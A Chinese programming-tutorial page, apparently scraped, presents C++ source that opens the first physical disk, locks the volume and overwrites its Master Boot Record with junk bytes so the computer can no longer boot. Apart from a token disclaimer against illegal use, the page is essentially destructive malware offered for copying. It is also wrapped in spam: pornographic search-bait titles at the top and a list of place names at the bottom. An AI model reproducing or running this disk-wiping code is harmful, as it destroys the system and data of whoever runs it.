国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > C++ > 正文

C++破壞MBR的代碼

2020-01-26 15:14:49
字體:
來源:轉載
供稿:網友

本文實例講述了C++破壞MBR的代碼,該源碼只有破壞作用,使系統無法進入。僅供大家參考借鑒之用。請勿用于非法目的。

源碼來源于網上。具體代碼如下:

復制代碼 代碼如下:
#include <Windows.h> 
#include <stdio.h> 
 
//shellcode隨便寫了點 能破壞MBR,無法進入系統 
unsigned char   scode[]= 
    "/xb8/x12/x00" 
    "/xcd/x10/xbd" 
    "/x18/x7c/xb9"; 
 
DWORD writeMBR() 

    DWORD dwBytesReturned; 
    BYTE pMBR[512]={0}; 
 
    //將破壞代碼寫入變量pMBR 
    memcpy(pMBR, scode, sizeof(scode)); 
    pMBR[510]=0x55; 
    pMBR[511]=0xaa; 
 
    //打開物理磁盤 
    HANDLE hDevice = CreateFile("////.//PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 
    if (hDevice == INVALID_HANDLE_VALUE) 
    { 
        printf("createfile failed..."); 
        return -1; 
    } 
 
    //鎖定卷,使用FSCTL_LOCK_VOLUME時,以下有幾個參數設為NULL,0; 
    /*Parameters
    hDevice
    A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function. 
 
    dwIoControlCode
    The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation. 
 
    lpInBuffer
    Not used with this operation; set to NULL.
 
    nInBufferSize
    Not used with this operation; set to zero.
 
    lpOutBuffer
    Not used with this operation; set to NULL.
 
    nOutBufferSize
    Not used with this operation; set to zero.
 
    lpBytesReturned
    A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */ 
 
 
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    //寫入磁盤文件  
    WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL); 
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    return 0; 

 
int main(int argc, char* argv[]) 

    writeMBR(); 
    return 0; 
}

希望本文所述對大家的C++程序設計有所幫助。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 苏州市| 潜山县| 上高县| 宁德市| 綦江县| 五寨县| 广南县| 赤峰市| 黄陵县| 清原| 阿城市| 齐齐哈尔市| 锦州市| 宁国市| 栾城县| 湛江市| 黔江区| 登封市| 河北区| 剑河县| 寿宁县| 石阡县| 喜德县| 枣阳市| 昌都县| 仙桃市| 济阳县| 独山县| 五指山市| 大连市| 锡林浩特市| 屏东市| 新巴尔虎左旗| 海宁市| 武穴市| 磐安县| 孝感市| 韶关市| 铜陵市| 韶关市| 固始县|